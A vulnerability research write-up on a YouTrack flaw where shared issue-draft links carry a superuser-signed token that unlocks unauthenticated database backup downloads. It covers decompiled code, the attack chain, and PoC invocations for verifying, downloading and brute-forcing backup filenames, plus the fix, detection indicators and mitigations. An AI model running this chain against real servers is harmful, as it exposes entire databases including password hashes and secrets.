
CVE-2026-75045 - JetBrains YouTrack unauthenticated database backup download via shared draft signature (CVSS 9.1)
Status: PoC reconstructed as part of vulnerability research; no public exploit existed at the time. Original reporter: Hieu Nguyen (reported to JetBrains, patched 2026-08-17/18).
| Product | JetBrains YouTrack (self-hosted Server) |
| Affected | All builds before 2025.3.156085, 2026.1.13913, 2026.2.18112 |
| Type | CWE-288 — Authentication Bypass Using an Alternate Path or Channel |
| CVSS 3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Post-exploitation | Full database dump: all issues, projects, users (password hashes, secrets), attachments, settings |
| CISA KEV | No; low EPSS; no in-the-wild exploitation recorded |
EntitySigningService (youtrack-application) issues URL tokens of the form:
token = base64url( timestamp | userXdId | entityId | sig )
sig = base64( SHA-256( timestamp | userXdId | entityId | user.secret ) )
user.secret — per-user secret (XdUser implements SecretProviderEntity);SecretProviderEntity with its own secret, it is appended to the salt;parseSign(token, type) looks up the user by id, looks up the entity by entityId,
recomputes SHA-256 and compares, then checks now > timestamp → "link expired".Critical: entity lookup goes through PersitenceExtensionsKt.tryFindById → xodus-dnq
IdsKt.findById:
fun <T : XdEntity> XdEntityType<T>.findById(xdId: String): T {
val session = store.session
val entity = session.getEntity(session.toEntityId(xdId)) // raw store id
return entity.toXd() as T // type NOT checked
}
The type parameter is ignored — any entity with that store-id is returned,
cast to the requested type. The signature still validates because it is computed
from the same fields (timestamp, user id, entity id, user secret).
When an issue draft is "shared" with an external person, XdIssueExtKt.getUrl builds the link:
if (issue.isDraft) {
res = "$baseUrl/newIssue?draftId=${issue.entityId}"
if (issue.secret != null) // draft marked as "shared"
res += "&sign=" + signing.newSign(
XdDraftOwnerUser.Companion.get(), // <- signer
issue,
SignatureDuration.WORKFLOW) // ~14 days
}
XdDraftOwnerUser is an internal superuser:
@ApiJsDocIgnore
@AllowAllSecurity
public final class XdDraftOwnerUser extends XdSuperUser {
// login = "draft_owner_" + Math.abs(new Random().nextInt());
// password is randomly generated — cannot log in with it,
// but runAs() from the signature uses its identity directly
}
In summary: every recipient of a /newIssue?draftId=177-5&sign=<token> link holds
a token embedding a superuser, valid for 14 days, and the link is designed
for people without an account.
Backup archives are served via signed links:
GET /api/admin/backups/<YYYY-MM-DD-HH-MM-SS.tar.gz>?sign=<token>
@GET @CustomAuth @Path("{file}")
public void getBackup(response, file, @QueryParam("sign") sign) {
// SOLE authentication — signature check:
user = entitySigningService.parseSign(sign, XdDatabaseBackupConfig.Companion).getUser();
runAs(user) { // <- principal becomes the token's user
assertAccess(file); // hasPermission(user, ADMIN_READ_APP)
backupFile = backupFolder.getBackupFile(file);
// ... stream the archive
}
}
private void assertAccess(String file) {
if (!security.hasPermission(loggedInUser, Permission.ADMIN_READ_APP))
throw new ForbiddenException(...); // superuser passes
if (file contains '/' or '\\') throw NotFound; // path traversal blocked
}
Attack chain:
parseSign(token, XdDatabaseBackupConfig): user draft_owner_* is found;
entity by store-id is found (it is an issue draft, but the type is not
checked); SHA-256 matches; 14 days have not elapsed → token is valid.runAs(XdDraftOwnerUser) → assertAccess sees the superuser → OK.YYYY-MM-DD-HH-MM-SS.tar.gz (server local time; after a successful download
the token is burned in expiredTokens until server restart).BackupFileResource was not changed. Changes in EntitySigningService:
extractInfo: entityId == "null" is now rejected (previously tokens with
entity=null were accepted for any endpoint);newSign(user, entity, ...) — entity became @NotNull;tryFindByIdOfType was added — the found entity is checked for belonging to
the requested type (getEnclosingEntityClass);emailBound signatures and parseSign(token, vararg types) overload appeared —
the token is bound to a list of allowed entity types.Now a draft token on the backups endpoint → MalformedSignatureException → 403.
poc_cve_2026_75045.py (stdlib-only). Only for instances you own or have
explicit written permission to test.
# Non-destructive check (downloads nothing):
# 404 on a nonexistent file = token accepted = vulnerable
# 403 = token rejected = patched/invalid token
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--sign "<sign from shared draft link>" --i-am-authorized
# You can pass the full link:
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--draft-url "https://yt.lab.local/newIssue?draftId=177-5&sign=..." --i-am-authorized
# Controlled download (burns the one-time token):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --download --file 2026-07-15-03-00-00.tar.gz -o out.tar.gz
# Filename brute-force via the 404 oracle (rate limiting mandatory):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --brute --dates 2026-07-01:2026-07-19 \
--times 03:00,22:30 --spread 60 --delay 0.3
Expected verify-mode output on a vulnerable server:
[*] Control (forged token): HTTP 403
[*] Probe (draft token) : HTTP 404
[+] VULNERABLE: shared draft signature accepted on the backups endpoint.
GET /api/admin/backups/<file>?sign=... without cookie/Authorization,
especially from external IPs; HTTP 200 on that path is an incident.sign format on /api/admin/backups/ indicate exploitation/scanning attempts./newIssue?draftId=...&sign=..../api/admin/backups/ on the reverse proxy
for external clients; restrict access to the backup directory.secret / recreate them) —
old tokens are valid for 14 days and cannot be revoked individually; after
updating they are rejected at the entity type level.